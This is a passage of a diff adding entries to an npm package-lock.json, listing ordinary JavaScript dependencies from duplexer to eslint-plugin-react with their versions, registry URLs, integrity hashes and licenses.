+ "node_modules/duplexer": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/duplexer/-/duplexer-0.1.2.tgz", + "integrity": "sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg==", + "license": "MIT" + }, + "node_modules/ecc-jsbn": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz", + "integrity": "sha512-eh9O+hwRHNbG4BLTjEl3nw044CkGm5X6LoaCf7LPp7UU8Qrt47JYNi6nPX8xjW97TKGKm1ouctg0QSpZe9qrnw==", + "dev": true, + "license": "MIT", + "dependencies": { + "jsbn": "~0.1.0", + "safer-buffer": "^2.1.0" + } + }, + "node_modules/ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==", + "license": "MIT" + }, + "node_modules/ejs": { + "version": "3.1.8", + "resolved": "https://registry.npmjs.org/ejs/-/ejs-3.1.8.tgz", + "integrity": "sha512-/sXZeMlhS0ArkfX2Aw780gJzXSMPnKjtspYZv+f3NiKLlubezAHDU5+9xz6gd3/NhG3txQCo6xlglmTS+oTGEQ==", + "license": "Apache-2.0", + "dependencies": { + "jake": "^10.8.5" + }, + "bin": { + "ejs": "bin/cli.js" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/electron-to-chromium": { + "version": "1.5.33", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.33.tgz", + "integrity": "sha512-+cYTcFB1QqD4j4LegwLfpCNxifb6dDFUAwk6RsLusCwIaZI6or2f+q8rs5tTB2YC53HhOlIbEaqHMAAC8IOIwA==", + "license": "ISC" + }, + "node_modules/elkjs": { + "version": "0.8.2", + "resolved": "https://registry.npmjs.org/elkjs/-/elkjs-0.8.2.tgz", + "integrity": "sha512-L6uRgvZTH+4OF5NE/MBbzQx/WYpru1xCBE9respNj6qznEewGUIfhzmm7horWWxbNO2M0WckQypGctR8lH79xQ==", + "license": "EPL-2.0" + }, + "node_modules/ellipsize": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/ellipsize/-/ellipsize-0.2.0.tgz", + "integrity": "sha512-InJhblLPZbBjw3N49knOWonfprgKPLKGySmG6bGHi7WsD5OkXIIlLkU4AguROmaMZ0v1BRdo267wEc0Pexw8ww==", + "license": "MIT", + "dependencies": { + "tape": "^4.9.0" + } + }, + "node_modules/emittery": { + "version": "0.8.1", + "resolved": "https://registry.npmjs.org/emittery/-/emittery-0.8.1.tgz", + "integrity": "sha512-uDfvUjVrfGJJhymx/kz6prltenw1u7WrCg1oa94zYY8xxVpLLUu045LAT0dhDZdXG58/EpPL/5kA180fQ/qudg==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sindresorhus/emittery?sponsor=1" + } + }, + "node_modules/emoji-regex": { + "version": "9.2.2", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz", + "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==", + "license": "MIT" + }, + "node_modules/emojis-list": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-3.0.0.tgz", + "integrity": "sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==", + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/encodeurl": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", + "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/end-of-stream": { + "version": "1.4.4", + "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", + "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "once": "^1.4.0" + } + }, + "node_modules/enhanced-resolve": { + "version": "5.17.1", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.17.1.tgz", + "integrity": "sha512-LMHl3dXhTcfv8gM4kEzIUeTQ+7fpdA0l2tUf34BddXPkz2A5xJ5L/Pchd5BL6rdccM9QGvu0sWZzK1Z1t4wwyg==", + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.4", + "tapable": "^2.2.0" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/enquirer": { + "version": "2.3.6", + "resolved": "https://registry.npmjs.org/enquirer/-/enquirer-2.3.6.tgz", + "integrity": "sha512-yjNnPr315/FjS4zIsUxYguYUPP2e1NK4d7E7ZOLiyYCcbFBiTMyID+2wvm2w6+pZ/odMA7cRkjhsPbltwBOrLg==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-colors": "^4.1.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/entities": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz", + "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==", + "license": "BSD-2-Clause", + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/error-ex": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz", + "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", + "license": "MIT", + "dependencies": { + "is-arrayish": "^0.2.1" + } + }, + "node_modules/error-stack-parser": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/error-stack-parser/-/error-stack-parser-2.1.4.tgz", + "integrity": "sha512-Sk5V6wVazPhq5MhpO+AUxJn5x7XSXGl1R93Vn7i+zS15KDVxQijejNCrz8340/2bgLBjR9GtEG8ZVKONDjcqGQ==", + "license": "MIT", + "dependencies": { + "stackframe": "^1.3.4" + } + }, + "node_modules/es-abstract": { + "version": "1.23.5", + "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.23.5.tgz", + "integrity": "sha512-vlmniQ0WNPwXqA0BnmwV3Ng7HxiGlh6r5U6JcTMNx8OilcAGqVJBHJcPjqOMaczU9fRuRK5Px2BdVyPRnKMMVQ==", + "license": "MIT", + "dependencies": { + "array-buffer-byte-length": "^1.0.1", + "arraybuffer.prototype.slice": "^1.0.3", + "available-typed-arrays": "^1.0.7", + "call-bind": "^1.0.7", + "data-view-buffer": "^1.0.1", + "data-view-byte-length": "^1.0.1", + "data-view-byte-offset": "^1.0.0", + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.0.0", + "es-set-tostringtag": "^2.0.3", + "es-to-primitive": "^1.2.1", + "function.prototype.name": "^1.1.6", + "get-intrinsic": "^1.2.4", + "get-symbol-description": "^1.0.2", + "globalthis": "^1.0.4", + "gopd": "^1.0.1", + "has-property-descriptors": "^1.0.2", + "has-proto": "^1.0.3", + "has-symbols": "^1.0.3", + "hasown": "^2.0.2", + "internal-slot": "^1.0.7", + "is-array-buffer": "^3.0.4", + "is-callable": "^1.2.7", + "is-data-view": "^1.0.1", + "is-negative-zero": "^2.0.3", + "is-regex": "^1.1.4", + "is-shared-array-buffer": "^1.0.3", + "is-string": "^1.0.7", + "is-typed-array": "^1.1.13", + "is-weakref": "^1.0.2", + "object-inspect": "^1.13.3", + "object-keys": "^1.1.1", + "object.assign": "^4.1.5", + "regexp.prototype.flags": "^1.5.3", + "safe-array-concat": "^1.1.2", + "safe-regex-test": "^1.0.3", + "string.prototype.trim": "^1.2.9", + "string.prototype.trimend": "^1.0.8", + "string.prototype.trimstart": "^1.0.8", + "typed-array-buffer": "^1.0.2", + "typed-array-byte-length": "^1.0.1", + "typed-array-byte-offset": "^1.0.2", + "typed-array-length": "^1.0.6", + "unbox-primitive": "^1.0.2", + "which-typed-array": "^1.1.15" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/es-abstract/node_modules/object-inspect": { + "version": "1.13.3", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.3.tgz", + "integrity": "sha512-kDCGIbxkDSXE3euJZZXzc6to7fCrKHNI/hSRQnRuQ+BWjFNzZwiFF8fj/6o2t2G9/jTj8PSIYTfCLelLZEeRpA==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/es-array-method-boxes-properly": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/es-array-method-boxes-properly/-/es-array-method-boxes-properly-1.0.0.tgz", + "integrity": "sha512-wd6JXUmyHmt8T5a2xreUwKcGPq6f1f+WwIJkijUqiGcJz1qqnZgP6XIK+QyIWU5lT7imeNxUll48bziG+TSYcA==", + "license": "MIT" + }, + "node_modules/es-define-property": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", + "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-module-lexer": { + "version": "1.5.4", + "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-1.5.4.tgz", + "integrity": "sha512-MVNK56NiMrOwitFB7cqDwq0CQutbw+0BvLshJSse0MUNU+y1FC3bUS/AQg7oUng+/wKrrki7JfmwtVHkVfPLlw==", + "license": "MIT" + }, + "node_modules/es-object-atoms": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.0.0.tgz", + "integrity": "sha512-MZ4iQ6JwHOBQjahnjwaC1ZtIBH+2ohjamzAO3oaHcXYup7qxjF2fixyH+Q71voWHeOkI2q/TnJao/KfXYIZWbw==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-set-tostringtag": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.0.3.tgz", + "integrity": "sha512-3T8uNMC3OQTHkFUsFq8r/BwAXLHvU/9O9mE0fBc/MY5iq/8H7ncvO947LmYA6ldWw9Uh8Yhf25zu6n7nML5QWQ==", + "license": "MIT", + "dependencies": { + "get-intrinsic": "^1.2.4", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.1" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-shim-unscopables": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/es-shim-unscopables/-/es-shim-unscopables-1.0.0.tgz", + "integrity": "sha512-Jm6GPcCdC30eMLbZ2x8z2WuRwAws3zTBBKuusffYVUrNj/GVSUAZ+xKMaUpfNDR5IbyNA5LJbaecoUVbmUcB1w==", + "license": "MIT", + "dependencies": { + "has": "^1.0.3" + } + }, + "node_modules/es-to-primitive": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.2.1.tgz", + "integrity": "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==", + "license": "MIT", + "dependencies": { + "is-callable": "^1.1.4", + "is-date-object": "^1.0.1", + "is-symbol": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/escalade": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", + "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==", + "license": "MIT" + }, + "node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "license": "MIT", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/escodegen": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-2.0.0.tgz", + "integrity": "sha512-mmHKys/C8BFUGI+MAWNcSYoORYLMdPzjrknd2Vc+bUsjN5bXcr8EhrNB+UTqfL1y3I9c4fw2ihgtMPQLBRiQxw==", + "license": "BSD-2-Clause", + "dependencies": { + "esprima": "^4.0.1", + "estraverse": "^5.2.0", + "esutils": "^2.0.2", + "optionator": "^0.8.1" + }, + "bin": { + "escodegen": "bin/escodegen.js", + "esgenerate": "bin/esgenerate.js" + }, + "engines": { + "node": ">=6.0" + }, + "optionalDependencies": { + "source-map": "~0.6.1" + } + }, + "node_modules/escodegen/node_modules/levn": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz", + "integrity": "sha512-0OO4y2iOHix2W6ujICbKIaEQXvFQHue65vUG3pb5EUomzPI90z9hsA1VsO/dbIIpC53J8gxM9Q4Oho0jrCM/yA==", + "license": "MIT", + "dependencies": { + "prelude-ls": "~1.1.2", + "type-check": "~0.3.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/escodegen/node_modules/optionator": { + "version": "0.8.3", + "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.3.tgz", + "integrity": "sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==", + "license": "MIT", + "dependencies": { + "deep-is": "~0.1.3", + "fast-levenshtein": "~2.0.6", + "levn": "~0.3.0", + "prelude-ls": "~1.1.2", + "type-check": "~0.3.2", + "word-wrap": "~1.2.3" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/escodegen/node_modules/prelude-ls": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz", + "integrity": "sha512-ESF23V4SKG6lVSGZgYNpbsiaAkdab6ZgOxe52p7+Kid3W3u3bxR4Vfd/o21dmN7jSt0IwgZ4v5MUd26FEtXE9w==", + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/escodegen/node_modules/type-check": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz", + "integrity": "sha512-ZCmOJdvOWDBYJlzAoFkC+Q0+bUyEOS1ltgp1MGU03fqHG+dbi9tBFU2Rd9QKiDZFAYrhPh2JUf7rZRIuHRKtOg==", + "license": "MIT", + "dependencies": { + "prelude-ls": "~1.1.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/eslint": { + "version": "8.19.0", + "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.19.0.tgz", + "integrity": "sha512-SXOPj3x9VKvPe81TjjUJCYlV4oJjQw68Uek+AM0X4p+33dj2HY5bpTZOgnQHcG2eAm1mtCU9uNMnJi7exU/kYw==", + "deprecated": "This version is no longer supported. Please see https://eslint.org/version-support for other options.", + "license": "MIT", + "dependencies": { + "@eslint/eslintrc": "^1.3.0", + "@humanwhocodes/config-array": "^0.9.2", + "ajv": "^6.10.0", + "chalk": "^4.0.0", + "cross-spawn": "^7.0.2", + "debug": "^4.3.2", + "doctrine": "^3.0.0", + "escape-string-regexp": "^4.0.0", + "eslint-scope": "^7.1.1", + "eslint-utils": "^3.0.0", + "eslint-visitor-keys": "^3.3.0", + "espree": "^9.3.2", + "esquery": "^1.4.0", + "esutils": "^2.0.2", + "fast-deep-equal": "^3.1.3", + "file-entry-cache": "^6.0.1", + "functional-red-black-tree": "^1.0.1", + "glob-parent": "^6.0.1", + "globals": "^13.15.0", + "ignore": "^5.2.0", + "import-fresh": "^3.0.0", + "imurmurhash": "^0.1.4", + "is-glob": "^4.0.0", + "js-yaml": "^4.1.0", + "json-stable-stringify-without-jsonify": "^1.0.1", + "levn": "^0.4.1", + "lodash.merge": "^4.6.2", + "minimatch": "^3.1.2", + "natural-compare": "^1.4.0", + "optionator": "^0.9.1", + "regexpp": "^3.2.0", + "strip-ansi": "^6.0.1", + "strip-json-comments": "^3.1.0", + "text-table": "^0.2.0", + "v8-compile-cache": "^2.0.3" + }, + "bin": { + "eslint": "bin/eslint.js" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint-config-react-app": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/eslint-config-react-app/-/eslint-config-react-app-7.0.1.tgz", + "integrity": "sha512-K6rNzvkIeHaTd8m/QEh1Zko0KI7BACWkkneSs6s9cKZC/J27X3eZR6Upt1jkmZ/4FK+XUOPPxMEN7+lbUXfSlA==", + "license": "MIT", + "dependencies": { + "@babel/core": "^7.16.0", + "@babel/eslint-parser": "^7.16.3", + "@rushstack/eslint-patch": "^1.1.0", + "@typescript-eslint/eslint-plugin": "^5.5.0", + "@typescript-eslint/parser": "^5.5.0", + "babel-preset-react-app": "^10.0.1", + "confusing-browser-globals": "^1.0.11", + "eslint-plugin-flowtype": "^8.0.3", + "eslint-plugin-import": "^2.25.3", + "eslint-plugin-jest": "^25.3.0", + "eslint-plugin-jsx-a11y": "^6.5.1", + "eslint-plugin-react": "^7.27.1", + "eslint-plugin-react-hooks": "^4.3.0", + "eslint-plugin-testing-library": "^5.0.1" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "eslint": "^8.0.0" + } + }, + "node_modules/eslint-import-resolver-node": { + "version": "0.3.6", + "resolved": "https://registry.npmjs.org/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.6.tgz", + "integrity": "sha512-0En0w03NRVMn9Uiyn8YRPDKvWjxCWkslUEhGNTdGx15RvPJYQ+lbOlqrlNI2vEAs4pDYK4f/HN2TbDmk5TP0iw==", + "license": "MIT", + "dependencies": { + "debug": "^3.2.7", + "resolve": "^1.20.0" + } + }, + "node_modules/eslint-import-resolver-node/node_modules/debug": { + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "license": "MIT", + "dependencies": { + "ms": "^2.1.1" + } + }, + "node_modules/eslint-module-utils": { + "version": "2.7.3", + "resolved": "https://registry.npmjs.org/eslint-module-utils/-/eslint-module-utils-2.7.3.tgz", + "integrity": "sha512-088JEC7O3lDZM9xGe0RerkOMd0EjFl+Yvd1jPWIkMT5u3H9+HC34mWWPnqPrN13gieT9pBOO+Qt07Nb/6TresQ==", + "license": "MIT", + "dependencies": { + "debug": "^3.2.7", + "find-up": "^2.1.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/eslint-module-utils/node_modules/debug": { + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "license": "MIT", + "dependencies": { + "ms": "^2.1.1" + } + }, + "node_modules/eslint-module-utils/node_modules/find-up": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-2.1.0.tgz", + "integrity": "sha512-NWzkk0jSJtTt08+FBFMvXoeZnOJD+jTtsRmBYbAIzJdX6l7dLgR7CTubCM5/eDdPUBvLCeVasP1brfVR/9/EZQ==", + "license": "MIT", + "dependencies": { + "locate-path": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/eslint-module-utils/node_modules/locate-path": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-2.0.0.tgz", + "integrity": "sha512-NCI2kiDkyR7VeEKm27Kda/iQHyKJe1Bu0FlTbYp3CqJu+9IFe9bLyAjMxf5ZDDbEg+iMPzB5zYyUTSm8wVTKmA==", + "license": "MIT", + "dependencies": { + "p-locate": "^2.0.0", + "path-exists": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/eslint-module-utils/node_modules/p-limit": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-1.3.0.tgz", + "integrity": "sha512-vvcXsLAJ9Dr5rQOPk7toZQZJApBl2K4J6dANSsEuh6QI41JYcsS/qhTGa9ErIUUgK3WNQoJYvylxvjqmiqEA9Q==", + "license": "MIT", + "dependencies": { + "p-try": "^1.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/eslint-module-utils/node_modules/p-locate": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-2.0.0.tgz", + "integrity": "sha512-nQja7m7gSKuewoVRen45CtVfODR3crN3goVQ0DDZ9N3yHxgpkuBhZqsaiotSQRrADUrne346peY7kT3TSACykg==", + "license": "MIT", + "dependencies": { + "p-limit": "^1.1.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/eslint-module-utils/node_modules/p-try": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-1.0.0.tgz", + "integrity": "sha512-U1etNYuMJoIz3ZXSrrySFjsXQTWOx2/jdi86L+2pRvph/qMKL6sbcCYdH23fqsbm8TH2Gn0OybpT4eSFlCVHww==", + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/eslint-module-utils/node_modules/path-exists": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", + "integrity": "sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==", + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/eslint-plugin-cypress": { + "version": "2.12.1", + "resolved": "https://registry.npmjs.org/eslint-plugin-cypress/-/eslint-plugin-cypress-2.12.1.tgz", + "integrity": "sha512-c2W/uPADl5kospNDihgiLc7n87t5XhUbFDoTl6CfVkmG+kDAb5Ux10V9PoLPu9N+r7znpc+iQlcmAqT1A/89HA==", + "dev": true, + "license": "MIT", + "dependencies": { + "globals": "^11.12.0" + }, + "peerDependencies": { + "eslint": ">= 3.2.1" + } + }, + "node_modules/eslint-plugin-flowtype": { + "version": "8.0.3", + "resolved": "https://registry.npmjs.org/eslint-plugin-flowtype/-/eslint-plugin-flowtype-8.0.3.tgz", + "integrity": "sha512-dX8l6qUL6O+fYPtpNRideCFSpmWOUVx5QcaGLVqe/vlDiBSe4vYljDWDETwnyFzpl7By/WVIu6rcrniCgH9BqQ==", + "license": "BSD-3-Clause", + "dependencies": { + "lodash": "^4.17.21", + "string-natural-compare": "^3.0.1" + }, + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "@babel/plugin-syntax-flow": "^7.14.5", + "@babel/plugin-transform-react-jsx": "^7.14.9", + "eslint": "^8.1.0" + } + }, + "node_modules/eslint-plugin-import": { + "version": "2.26.0", + "resolved": "https://registry.npmjs.org/eslint-plugin-import/-/eslint-plugin-import-2.26.0.tgz", + "integrity": "sha512-hYfi3FXaM8WPLf4S1cikh/r4IxnO6zrhZbEGz2b660EJRbuxgpDS5gkCuYgGWg2xxh2rBuIr4Pvhve/7c31koA==", + "license": "MIT", + "dependencies": { + "array-includes": "^3.1.4", + "array.prototype.flat": "^1.2.5", + "debug": "^2.6.9", + "doctrine": "^2.1.0", + "eslint-import-resolver-node": "^0.3.6", + "eslint-module-utils": "^2.7.3", + "has": "^1.0.3", + "is-core-module": "^2.8.1", + "is-glob": "^4.0.3", + "minimatch": "^3.1.2", + "object.values": "^1.1.5", + "resolve": "^1.22.0", + "tsconfig-paths": "^3.14.1" + }, + "engines": { + "node": ">=4" + }, + "peerDependencies": { + "eslint": "^2 || ^3 || ^4 || ^5 || ^6 || ^7.2.0 || ^8" + } + }, + "node_modules/eslint-plugin-import/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "license": "MIT", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/eslint-plugin-import/node_modules/doctrine": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz", + "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==", + "license": "Apache-2.0", + "dependencies": { + "esutils": "^2.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/eslint-plugin-import/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "license": "MIT" + }, + "node_modules/eslint-plugin-jest": { + "version": "25.7.0", + "resolved": "https://registry.npmjs.org/eslint-plugin-jest/-/eslint-plugin-jest-25.7.0.tgz", + "integrity": "sha512-PWLUEXeeF7C9QGKqvdSbzLOiLTx+bno7/HC9eefePfEb257QFHg7ye3dh80AZVkaa/RQsBB1Q/ORQvg2X7F0NQ==", + "license": "MIT", + "dependencies": { + "@typescript-eslint/experimental-utils": "^5.0.0" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || >=16.0.0" + }, + "peerDependencies": { + "@typescript-eslint/eslint-plugin": "^4.0.0 || ^5.0.0", + "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0" + }, + "peerDependenciesMeta": { + "@typescript-eslint/eslint-plugin": { + "optional": true + }, + "jest": { + "optional": true + } + } + }, + "node_modules/eslint-plugin-jsx-a11y": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/eslint-plugin-jsx-a11y/-/eslint-plugin-jsx-a11y-6.6.0.tgz", + "integrity": "sha512-kTeLuIzpNhXL2CwLlc8AHI0aFRwWHcg483yepO9VQiHzM9bZwJdzTkzBszbuPrbgGmq2rlX/FaT2fJQsjUSHsw==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.18.3", + "aria-query": "^4.2.2", + "array-includes": "^3.1.5", + "ast-types-flow": "^0.0.7", + "axe-core": "^4.4.2", + "axobject-query": "^2.2.0", + "damerau-levenshtein": "^1.0.8", + "emoji-regex": "^9.2.2", + "has": "^1.0.3", + "jsx-ast-utils": "^3.3.1", + "language-tags": "^1.0.5", + "minimatch": "^3.1.2", + "semver": "^6.3.0" + }, + "engines": { + "node": ">=4.0" + }, + "peerDependencies": { + "eslint": "^3 || ^4 || ^5 || ^6 || ^7 || ^8" + } + }, + "node_modules/eslint-plugin-react": { + "version": "7.30.1", + "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.30.1.tgz", + "integrity": "sha512-NbEvI9jtqO46yJA3wcRF9Mo0lF9T/jhdHqhCHXiXtD+Zcb98812wvokjWpU7Q4QH5edo6dmqrukxVvWWXHlsUg==", + "license": "MIT", + "dependencies": { + "array-includes": "^3.1.5", + "array.prototype.flatmap": "^1.3.0", + "doctrine": "^2.1.0", + "estraverse": "^5.3.0", + "jsx-ast-utils": "^2.4.1 || ^3.0.0", + "minimatch": "^3.1.2", + "object.entries": "^1.1.5", + "object.fromentries": "^2.0.5", + "object.hasown": "^1.1.1", + "object.values": "^1.1.5", + "prop-types": "^15.8.1", + "resolve": 